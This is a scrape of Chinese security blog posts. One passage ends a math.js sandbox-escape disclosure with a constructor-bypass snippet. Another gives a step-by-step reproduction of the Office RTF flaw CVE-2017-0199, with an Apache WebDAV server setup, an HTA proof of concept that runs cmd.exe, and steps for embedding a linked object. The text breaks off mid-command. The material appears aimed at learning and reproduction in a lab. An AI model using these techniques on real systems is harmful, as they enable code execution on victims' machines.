text-decoration: none;"><span style="color: rgb(0, 0, 0);">模块</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">）。</span></p><p><br/></p></li></ul><p><span style="color: rgb(0, 0, 0); text-decoration: none;">在两天的时间里，我们协助作者一起修复了这个漏洞。值得注意的是，在他发布了一个修复（</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">2f45600</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">）之后，我们发现了一个类似的漏洞（如果你不能直接使用构造函数，可以使用cos.constructor.apply(null,&#34;code&#34;)()），这个在（</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">3c3517d</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">）中被修复。</span></p><p><br/></p><section label="Copyright Reserved by PLAYHUDONG." donone="shifuMouseDown(&#39;shifu_t_015&#39;)" style="white-space: normal; border-top: none; border-right: none; border-bottom: none; margin-top: 5px; padding: 10px; font-size: 14px; line-height: 25px; font-family: arial, helvetica, sans-serif; text-shadow: rgb(34, 95, 135) 0px 1px 0px; color: rgb(255, 255, 255); border-radius: 4px; box-shadow: rgb(153, 153, 153) 2px 2px 4px; border-left: 10px solid rgb(253, 208, 0); background-color: rgb(55, 57, 57);">时间线</section><p><br/></p><ul type="disc" class=" list-paddingleft-2"><li><p>2017年3月26日22:20 CEST：第一次成功利用</p></li><li><p>2017年3月29日14:43 CEST：向作者报告漏洞</p></li><li><p>2017年3月31日12:35 CEST：报告第二个漏洞（.apply）</p></li><li><p>2017年3月31日13:52 CEST：这两个漏洞被修复了</p></li><li><p><br/></p></li></ul><hr size="2" width="100%" noshade=""/><p><br/></p><p><span style="color: rgb(0, 0, 0); text-decoration: none;">此漏洞由</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">@CapacitorSet</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">和</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">@denysvitali发现</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">。感谢</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">@josdejong</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">及时修复漏洞和</span><a style="color: rgb(0, 0, 0); text-decoration: none;"><span style="color: rgb(0, 0, 0);">JSFuck</span></a><span style="color: rgb(0, 0, 0); text-decoration: none;">发现[].filter.constructor技巧。</span></p><p><span style="text-decoration: none;">Jos澄清：math.js并不像之</span>前说的那样“执行 JavaScript”，而是“使用自己的数学语法、自己的运算符、函数制作自己的解析器，但这些函数当然还是JavaScript函数“。</p><p><br/></p><p>原文链接在阅读原文中~~</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">                                                   </p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_p_042&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; text-align: center; width: 18em;"><section style="padding: 0.3em; box-shadow: rgb(204, 204, 204) 0px 0px 2px 2px; overflow: hidden; background-color: rgb(255, 255, 255);"><section style="margin-bottom: 0.3em; overflow: hidden; float: left;"><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743089962011473.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=02cdb759&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLWQ9YkIY3jMpvqlLVMa8tcNL4vx30AkCQgJkQJEGWYicPDfzLcD16nHQ%2F0%3Fwx_fmt%3Djpeg"/><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066215020405.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=808eb15a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLoiapkzGxUU9Rn8LNxibdV00yJhDxY8UQoRTTC3YgYYy3Kwib5r0DZ07zA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066215047881.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=06d9e856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLs8lYeDR8g6DyJFibRwYJaTjxiaq7Faic94pOYjLQ3Gec8iaG6A4yTLBdUA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066251045258.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=8544e05a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLwBfwhsELeDHibLKgnadojSdol6Hbo7MicUDfsKR29QKtPHGMSNzonFgw%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066468036404.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=c31aa3d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLznIcF1jamhcFZgWHI32bMtm7FEmCxYbH97q6mtfhUMesw0FMibFCTIQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066515088239.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=02cdb759&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLWQ9YkIY3jMpvqlLVMa8tcNL4vx30AkCQgJkQJEGWYicPDfzLcD16nHQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743067268069413.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=90665ca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLXCtnXliaiajYMAZpydFxdibjUrwhzwtSen8Muyz1dCrAbojljbL83SICA%2F0%3Fwx_fmt%3Djpeg"/></p><p><img style="float: none;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743066215047881.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=06d9e856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLs8lYeDR8g6DyJFibRwYJaTjxiaq7Faic94pOYjLQ3Gec8iaG6A4yTLBdUA%2F0%3Fwx_fmt%3Djpeg"/><br/></p></section><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743100674010091.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=8544e05a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLwBfwhsELeDHibLKgnadojSdol6Hbo7MicUDfsKR29QKtPHGMSNzonFgw%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743111003026292.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=808eb15a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLoiapkzGxUU9Rn8LNxibdV00yJhDxY8UQoRTTC3YgYYy3Kwib5r0DZ07zA%2F0%3Fwx_fmt%3Djpeg"/></section></section><section style="margin-bottom: 0.3em; overflow: hidden; float: left;"><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743124346099485.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=90665ca3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLXCtnXliaiajYMAZpydFxdibjUrwhzwtSen8Muyz1dCrAbojljbL83SICA%2F0%3Fwx_fmt%3Djpeg"/></section><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492744951068099280.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=77e5bcf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLyIIFyAicNg3AicZh0oiaX88Ioqzuccgf4YxZ0QibOMukL7icoSgibtDkicNJA%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743139721015523.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=06d9e856&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLs8lYeDR8g6DyJFibRwYJaTjxiaq7Faic94pOYjLQ3Gec8iaG6A4yTLBdUA%2F0%3Fwx_fmt%3Djpeg"/></section></section><section style="overflow: hidden; float: left;"><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743167248014791.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=c31aa3d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLznIcF1jamhcFZgWHI32bMtm7FEmCxYbH97q6mtfhUMesw0FMibFCTIQ%2F0%3Fwx_fmt%3Djpeg"/></section><section style="margin-right: 0.3em; width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743557310003500.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=457c1a47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLgEWCkbqAIgDcfP7Uq85u4DiaiaXh3T1LkRfmXEh3OT2yFTxgX8QYTk3A%2F0%3Fwx_fmt%3Djpeg"/></section><section style="width: 5.6em; height: 5.6em; overflow: hidden; float: left;"><img style="width: 5.6em;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170421-1492743588234025368.jpg" data-type="jpeg" data-ratio="1.0017953321364452" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=6c92903f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayzpDm6UzmPFRITRj2XiadCYLkzdnEfm9JX9KUE0MwMelehpsiblKzbj0IVNFxXq22pXkibH3BYvBhtnA%2F0%3Fwx_fmt%3Djpeg"/></section></section></section></section><p style="white-space: normal;"><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p style="white-space: normal;"><br/></p>



<p><a href="https://capacitorset.github.io/mathjs/index.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=545ba95a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483875%26idx%3D1%26sn%3D19c03a096dafe95244b31dd5bbd3015e%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 22 Apr 2017 19:21:00 +0800</pubDate>
    </item>
    <item>
      <title>打开这个word，你的电脑就是我的了（CVE-2017-0199）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483862&amp;idx=1&amp;sn=401a592f8175721bc78d688555a0f81d</link>
      <description>这word有毒~</description>
      <content:encoded><![CDATA[<p>
原创 <span>王松_Striker</span> <span>2017-04-20 08:11</span> <span style="display: inline-block;"></span>
</p>

<p>这word有毒~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cffe70fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5Uk5G6VoDcodRKek49aYUulXicgxNuNVgNeiciaykJRUjw0raFUv7ibZslBxw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p style="white-space: normal;"><span style="font-size: 16px;"></span></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">4月11日，<span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">Microsoft Office 爆出了首个漏洞--<span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">Microsoft Office RTF漏洞（<span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; "></span><span style=" color: rgb(51, 51, 51) ; ; ; ; ; ;  ; ">CVE-2017-0199</span>）</span>，这个漏洞可以影响以下</span>系统：</p><ul style=" box-sizing: border-box; padding-left: 2em; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; " class=" list-paddingleft-2"><li><p>Microsoft Office 2016</p></li><li><p>Microsoft Office 2013</p></li><li><p>Microsoft Office 2010</p></li><li><p>Microsoft Office 2007</p></li></ul><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">当用户打开包含嵌入式漏洞的文档时，这个就会下载并执行包含PowerShell命令的Visual Basic脚本。</p><p style="text-align: center;"><img data-s="300,640" data-type="jpeg" data-w="172" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f7fdbe9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkeicJ94iaehmeDYNR7LDROL4Nk8IbJNVyqUoLSzGTwEU05WElGCbJXN8g%2F0%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><br/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">微软官方对该漏洞的通告：<a style="box-sizing: border-box; background: transparent; word-wrap: break-word; word-break: break-all; color: rgb(65, 131, 196);"><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199" target="_blank">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199</a></a></p><h2 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.225; font-size: 1.75em;  font-weight: bold; padding-bottom: 0.3em; border-bottom: 1px solid rgb(238, 238, 238); color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">漏洞复现</h2><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">首先我们需要一个Apache服务器、一个POC、一个Word，一个沉着冷静的内心和一个帅气的微笑~</p><h3 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.43; font-size: 1.5em;  font-weight: bold; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">apache</h3><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">apache需要开启DAV支持，为了方便。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">这里我使用了docker来搭建，写了如下Dockerfile：</p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p><img data-s="300,640" data-type="png" data-w="1490" data-ratio="0.5664429530201343" src="https://wechat2rss.xlab.app/img-proxy/?k=c38f9f4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5Ukf76B6U13EibUE9I9kliaxl35eiacgz5sFEhwk00nT5HCRqrAAIia7ib4u8Q%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">其中start.sh的内容为：</p><p><img data-s="300,640" data-type="png" data-w="1160" data-ratio="0.1413793103448276" src="https://wechat2rss.xlab.app/img-proxy/?k=cbdce1c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkvpsuKFpDRuaZVhTVu5a3YIIGMum5AhvDmrg9Tl613Weyy1eC5wjXhA%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后构建该镜像：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">docker build -t cve-2017-0199 .</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">运行容器：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">docker run -d -p 8881:80 cve-2017-0199</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">本地打开，如果出现如下页面表示搭建成功：</p><p><img data-s="300,640" data-type="jpeg" data-w="1280" data-ratio="0.4546875" src="https://wechat2rss.xlab.app/img-proxy/?k=13f3d6de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkPdxdKksIgd7bWCs7bg6SLvDzDyc3IDOmHgPO3iajoiaknwoS2Godicj6g%2F0%3Fwx_fmt%3Djpeg"/></p><h3 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.43; font-size: 1.5em;  font-weight: bold; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">POC</h3><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">&lt;script&gt;
a=new ActiveXObject(&#34;WScript.Shell&#34;);
a.run(&#39;%windir%\\System32\\cmd.exe /c calc.exe&#39;, 0);window.close();
&lt;/script&gt;</code></pre><h3 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.43; font-size: 1.5em;  font-weight: bold; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">Word</h3><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">新建一个Word，名为：<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test.docx</code></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">内容任意，我这里使用<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">Hi, Striker</code></p><p><img data-s="300,640" data-type="jpeg" data-w="910" data-ratio="0.545054945054945" src="https://wechat2rss.xlab.app/img-proxy/?k=d5d112cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5Ukm8yvEHpGtMD9wQ6lFdxJBHLuAgpoicibFqVEb5gWThib7ugkRqxfPI6QA%2F0%3Fwx_fmt%3Djpeg"/></p><h3 style=" margin-top: 1em; margin-bottom: 16px; font-weight: bold; font-size: 1.5em; white-space: normal; box-sizing: border-box; line-height: 1.43;  color: rgb(51, 51, 51) ; ; ; ; ; ; ">帅气的微笑</h3><p><img data-s="300,640" data-type="jpeg" data-w="442" data-ratio="1.1085972850678734" src="https://wechat2rss.xlab.app/img-proxy/?k=90009568&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkE8XAqqHu9NK8Ealibmd5FxL1GYMsKMAX41DfUJPq5Aib2yyI8ONvfQKA%2F0%3Fwx_fmt%3Djpeg"/></p><h3 style=" box-sizing: border-box; margin-top: 1em; margin-bottom: 16px; line-height: 1.43; font-size: 1.5em;  font-weight: bold; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ">复现过程</h3><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">首先在apache目录下建立test目录，我们需要进入docker容器中并返回一个交互shell，方便后续操作：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">docker exec -it 容器ID /bin/bash</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后在交互shell中执行：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">mkdir /var/www/html/test/</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后我们把<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test.docx</code>复制到<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test</code>目录下：</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">新建一个shell窗口执行：</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">docker cp `pwd`/test.docx 容器ID:/var/www/html/test/</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后在把<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test.docx</code>命名为<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test.rtf</code>:</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">cd /var/www/html/test/
mv test.docx test.rtf</code></pre><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后新建一个word就叫<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">mypoc.docx</code>吧。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">分别点击<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">插入 -&gt; 对象 -&gt; 由文件创建 -&gt; 链接到文件</code>，然后输入rtf的网址。</p><p><img data-s="300,640" data-type="png" data-w="1702" data-ratio="0.48472385428907167" src="https://wechat2rss.xlab.app/img-proxy/?k=1b4e36c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BayxKsTp6ZNxZwDLArgiatU5UkejsqyFibwccUhmQJwA6Ps7Io0nYUgtic5GmdTiaJ3gnWc1FraiaicEDILuw%2F0%3Fwx_fmt%3Dpng"/></p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">然后把<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">mypoc.docx</code>另存为<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">exp.rtf</code>。</p><p style=" box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ">现在我们可以删掉apache上的<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test.rtf</code>，然后写入POC或直接替换掉<code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ">test.rtf</code>:</p><pre style=" box-sizing: border-box; overflow: auto; ; ; ; ; ; ; ; ; ; ; ; ; "><code style=" box-sizing: border-box; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">echo &#34;&lt;script&gt;
a=new ActiveXObject(&#34;WScript.Shell&#34;);
a.run(&#39;%windir%\\System32\\cmd.exe /c calc.exe&#39;, 0);window.close();
